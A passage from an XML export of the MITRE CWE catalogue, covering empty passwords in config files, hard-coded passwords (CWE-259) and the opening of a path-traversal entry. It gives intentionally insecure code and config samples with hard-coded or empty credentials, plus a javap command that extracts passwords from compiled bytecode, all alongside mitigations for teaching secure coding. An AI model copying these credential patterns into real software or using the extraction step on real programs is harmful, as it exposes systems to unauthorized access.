					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Passwords should be at least eight characters long -- the longer the
							better. Avoid passwords that are in any way similar to other passwords
							you have. Avoid using words that may be found in a dictionary, names
							book, on a map, etc. Consider incorporating numbers and/or punctuation
							into your password. If you do use common words, consider replacing
							letters in that word with numbers and punctuation. However, do not use
							"similar-looking" punctuation. For example, it is not a good idea to
							change cat to c@t, ca+, (@+, or anything similar. Finally, it is never
							appropriate to use an empty string as a password. </Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following examples show a portion of properties and
						configuration files for Java and ASP.NET applications. The files include
						username and password information but the password is provided as an empty
						string.</Intro_Text>
					          <Example_Body>
						            <Text>This Java example shows a properties file with an empty password
							string.</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Comment># Java Web App ResourceBundle properties file</Comment>
							              <Code>...</Code>
							              <Code>webapp.ldap.username=secretUsername</Code>
							              <Code>webapp.ldap.password=</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>The following example shows a portion of a configuration file for an
							ASP.Net application. This configuration file includes username and
							password information for a connection to a database and the password is
							provided as an empty string.</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>ASP.NET</Code_Example_Language>
							              <Code>...</Code>
							              <Code>&lt;connectionStrings&gt;</Code>
							              <Code>&lt;add name="ud_DEV" connectionString="connectDB=uDB;
								uid=db2admin; pwd=; dbalias=uDB;" providerName="System.Data.Odbc"
								/&gt;</Code>
							              <Code>&lt;/connectionStrings&gt;</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>An empty string should never be used as a password as this can allow
							unauthorized access to the application. Username and password
							information should not be included in a configuration file or a
							properties file in clear text. If possible, encrypt this information and
							avoid CWE-260 and CWE-13.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference Reference_ID="REF-9">
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Author>Gary McGraw</Reference_Author>
					          <Reference_Title>Building Secure Software: How to Avoid Security Problems the
						Right Way</Reference_Title>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison-Wesley</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Password Management: Empty Password in Configuration
						File</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Other_Notes,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="259" Name="Use of Hard-coded Password" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software contains a hard-coded password, which it uses for
					its own inbound authentication or for outbound communication to external
					components.</Description_Summary>
				        <Extended_Description>
					          <Text>A hard-coded password typically leads to a significant authentication
						failure that can be difficult for the system administrator to detect. Once
						detected, it can be difficult to fix, so the administrator may be forced
						into disabling the product entirely. There are two main variations:</Text>
					          <Block>
						            <Text>Inbound: the software contains an authentication mechanism that checks
							for a hard-coded password.</Text>
						            <Text>Outbound: the software connects to another system or component, and it
							contains hard-coded password for connecting to that component.</Text>
					          </Block>
					          <Text>In the Inbound variant, a default administration account is created, and a
						simple password is hard-coded into the product and associated with that
						account. This hard-coded password is the same for each installation of the
						product, and it usually cannot be changed or disabled by system
						administrators without manually modifying the program, or otherwise patching
						the software. If the password is ever discovered or published (a common
						occurrence on the Internet), then anybody with knowledge of this password
						can access the product. Finally, since all installations of the software
						will have the same password, even across different organizations, this
						enables massive attacks such as worms to take place.</Text>
					          <Text>The Outbound variant applies to front-end systems that authenticate with a
						back-end service. The back-end service may require a fixed password which
						can be easily discovered. The programmer may simply hard-code those back-end
						credentials into the front-end software. Any user of that program may be
						able to extract the password. Client-side systems with hard-coded passwords
						pose even more of a threat, since the extraction of a password from a binary
						is usually very simple.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>798</Relationship_Target_ID>
					          <!--Use of Hard-coded Credentials-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>724</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>321</Relationship_Target_ID>
					          <!--Use of Hard-coded Cryptographic Key-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>257</Relationship_Target_ID>
					          <!--Storing Passwords in a Recoverable Format-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>254</Relationship_Target_ID>
					          <!--Security Features-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">750</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>753</Relationship_Target_ID>
					          <!--2009 Top 25 - Porous Defenses-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>861</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 49 - Miscellaneous (MSC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>898</Relationship_Target_ID>
					          <!--SFP Cluster: Authentication-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>This entry should probably be split into multiple variants: an inbound
						variant (as seen in the second demonstrative example) and an outbound
						variant (as seen in the first demonstrative example). These variants are
						likely to have different consequences, detectability, etc. See extended
						description.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Very High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If hard-coded passwords are used, it is almost certain that malicious
							users will gain access through the account in question.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method>
					          <Method_Name>Manual Analysis</Method_Name>
					          <Method_Description>
						            <Text>This weakness can be detected using tools and techniques that require
							manual (human) analysis, such as penetration testing, threat modeling,
							and interactive tools that allow the tester to record and modify an
							active session. </Text>
					          </Method_Description>
					          <Method_Effectiveness_Notes>
						            <Text> These may be more effective than strictly automated techniques. This
							is especially the case with weaknesses that are related to design and
							business rules.</Text>
					          </Method_Effectiveness_Notes>
				        </Detection_Method>
				        <Detection_Method Detection_Method_ID="DM-11.6">
					          <Method_Name>Black Box</Method_Name>
					          <Method_Description>
						            <Text>Use monitoring tools that examine the software's process as it
							interacts with the operating system and the network. This technique is
							useful in cases when source code is unavailable, if the software was not
							developed by you, or if you want to verify that the build phase did not
							introduce any new weaknesses. Examples include debuggers that directly
							attach to the running process; system-call tracing utilities such as
							truss (Solaris) and strace (Linux); system activity monitors such as
							FileMon, RegMon, Process Monitor, and other Sysinternals utilities
							(Windows); and sniffers and protocol analyzers that monitor network
							traffic.</Text>
						            <Text>Attach the monitor to the process and perform a login. Using
							disassembled code, look at the associated instructions and see if any of
							them appear to be comparing the input to a fixed string or value.
						</Text>
					          </Method_Description>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>For outbound authentication: store passwords outside of the code in a
							strongly-protected, encrypted configuration file or database that is
							protected from access by all outsiders, including other local users on
							the same system. Properly protect the key (CWE-320). If you cannot use
							encryption to protect the file, then make sure that the permissions are
							as restrictive as possible.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>For inbound authentication: Rather than hard-code a default username
							and password for first time logins, utilize a "first login" mode that
							requires the user to enter a unique strong password.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Perform access control checks and limit which entities can access the
							feature that requires the hard-coded password. For example, a feature
							might only be enabled through the system console instead of through a
							network connection.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>For inbound authentication: apply strong one-way hashes to your
							passwords and store those hashes in a configuration file or database
							with appropriate access control. That way, theft of the file/database
							still requires the attacker to try to crack the password. When receiving
							an incoming password during authentication, take the hash of the
							password and compare it to the hash that you have saved.</Text>
						            <Text>Use randomly assigned salts for each separate hash that you generate.
							This increases the amount of computation that an attacker needs to
							conduct a brute-force attack, possibly limiting the effectiveness of the
							rainbow table method.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>For front-end to back-end connections: Three solutions are possible,
							although none are complete.</Text>
						            <Block>
							              <Text>The first suggestion involves the use of generated passwords which
								are changed automatically and must be entered at given time
								intervals by a system administrator. These passwords will be held in
								memory and only be valid for the time intervals.</Text>
							              <Text>Next, the passwords used should be limited at the back end to only
								performing actions valid for the front end, as opposed to having
								full access.</Text>
							              <Text>Finally, the messages sent should be tagged and checksummed with
								time sensitive values so as to prevent replay style attacks.</Text>
						            </Block>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-13">
					          <Intro_Text>The following code uses a hard-coded password to connect to a
						database:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>...</Code>
							              <Code>DriverManager.getConnection(url, "scott", "tiger");</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>This is an example of an external hard-coded password on the
							client-side of a connection. This code will run successfully, but anyone
							who has access to it will have access to the password. Once the program
							has shipped, there is no going back from the database user "scott" with
							a password of "tiger" unless the program is patched. A devious employee
							with access to this information can use it to break into the system.
							Even worse, if attackers have access to the bytecode for application,
							they can use the javap -c command to access the disassembled code, which
							will contain the values of the passwords used. The result of this
							operation might look something like the following for the example
							above:</Text>
						            <Block Block_Nature="Attack">
							              <Code>javap -c ConnMngr.class</Code>
							              <Block>
								                <Code>22: ldc #36; //String jdbc:mysql://ixne.com/rxsql</Code>
								                <Code>24: ldc #38; //String scott</Code>
								                <Code>26: ldc #17; //String tiger</Code>
							              </Block>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-14">
					          <Intro_Text>The following code is an example of an internal hard-coded password
						in the back-end:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>int VerifyAdmin(char *password) {</Code>
							              <Block>
								                <Code>if (strcmp(password, "Mew!")) {</Code>
								                <Block>
									                  <Code/>
									                  <Code>printf("Incorrect Password!\n");</Code>
									                  <Code>return(0)</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>printf("Entering Diagnostic Mode...\n");</Code>
								                <Code>return(1);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>int VerifyAdmin(String password) {</Code>
							              <Block>
								                <Code>if (passwd.Equals("Mew!")) {</Code>
								                <Block>
									                  <Code>return(0)</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>//Diagnostic Mode</Code>
								                <Code>return(1);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>Every instance of this program can be placed into diagnostic mode with
							the same password. Even worse is the fact that if this program is
							distributed as a binary-only distribution, it is very difficult to
							change that password or disable this "functionality."</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-43">
					          <Intro_Text>The following examples show a portion of properties and
						configuration files for Java and ASP.NET applications. The files include
						username and password information but they are stored in
						plaintext.</Intro_Text>
					          <Example_Body>
						            <Text>This Java example shows a properties file with a plaintext username /
							password pair.</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Comment># Java Web App ResourceBundle properties file</Comment>
							              <Code>...</Code>
							              <Code>webapp.ldap.username=secretUsername</Code>
							              <Code>webapp.ldap.password=secretPassword</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>The following example shows a portion of a configuration file for an
							ASP.Net application. This configuration file includes username and
							password information for a connection to a database but the pair is
							stored in plaintext.</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>ASP.NET</Code_Example_Language>
							              <Code>...</Code>
							              <Code>&lt;connectionStrings&gt;</Code>
							              <Code>&lt;add name="ud_DEV" connectionString="connectDB=uDB;
								uid=db2admin; pwd=password; dbalias=uDB;"
								providerName="System.Data.Odbc" /&gt;</Code>
							              <Code>&lt;/connectionStrings&gt;</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>Username and password information should not be included in a
							configuration file or a properties file in plaintext as this will allow
							anyone who can read the file access to the resource. If possible,
							encrypt this information and avoid CWE-260 and CWE-13.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 19: Use of Weak Password-Based Systems." Page
						279</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Password Management: Hard-Coded Password</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Use of hard-coded password</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Broken Authentication and Session
						Management</Mapped_Node_Name>
					          <Mapped_Node_ID>A3</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Never hard code sensitive information</Mapped_Node_Name>
					          <Mapped_Node_ID>MSC03-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <White_Box_Definitions>
				        <White_Box_Definition>
					          <Text>Definition: A weakness where code path has:</Text>
					          <Block>
						            <Text>1. end statement that passes a data item to a password function</Text>
						            <Text>2. value of the data item is a constant</Text>
					          </Block>
				        </White_Box_Definition>
			      </White_Box_Definitions>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>188</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>189</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>190</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>191</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>192</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>205</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>KDM Analytics</Modifier_Organization>
					          <Modification_Date>2008-08-01</Modification_Date>
					          <Modification_Comment>added/updated white box definitions</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>Veracode</Modifier_Organization>
					          <Modification_Date>2008-08-15</Modification_Date>
					          <Modification_Comment>Suggested OWASP Top Ten 2004
						mapping</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes,
						Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-13</Modification_Date>
					          <Modification_Comment>Significant description modifications to emphasize
						different variants.</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Description,
						Maintenance_Notes, Other_Notes, Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Description,
						Maintenance_Notes, Potential_Mitigations,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>KDM Analytics</Modifier>
					          <Modification_Date>2009-07-17</Modification_Date>
					          <Modification_Comment>Improved the White_Box_Definition</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Related_Attack_Patterns,
						White_Box_Definitions</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Description,
						Detection_Factors, Name, Potential_Mitigations,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Detection_Factors,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Potential_Mitigations,
						Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2010-02-16">Hard-Coded
						Password</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="26" Name="Path Traversal: '/dir/../filename'" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The software uses external input to construct a pathname that
					should be within a restricted directory, but it does not properly neutralize
					"/dir/../filename" sequences that can resolve to a location that is outside of
					that directory.</Description_Summary>
				        <Extended_Description>
					          <Text>This allows attackers to traverse the file system to access files or
						directories that are outside of the restricted directory.</Text>
					          <Text>The '/dir/../filename' manipulation is useful for bypassing some path
						traversal protection schemes. Sometimes a program only checks for "../" at
						the beginning of the input, so a "/../" can bypass that check.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>23</Relationship_Target_ID>
					          <!--Relative Path Traversal-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
				        <Technology_Classes>
					          <Technology_Class Technology_Name="Web-Server" Prevalence="Often"/>
				        </Technology_Classes>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-5.1">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
						            <Text>When validating filenames, use stringent whitelists that limit the
							character set to be used. If feasible, only allow a single "." character
							in the filename to avoid weaknesses such as CWE-23, and exclude
							directory separators such as "/" to avoid CWE-36. Use a whitelist of
							allowable file extensions, which will help to avoid CWE-434.</Text>
						            <Text>Do not rely exclusively on a filtering mechanism that removes
							potentially dangerous characters. This is equivalent to a blacklist,
							which may be incomplete (CWE-184). For example, filtering "/" is
							insufficient protection if the filesystem also supports the use of "\"
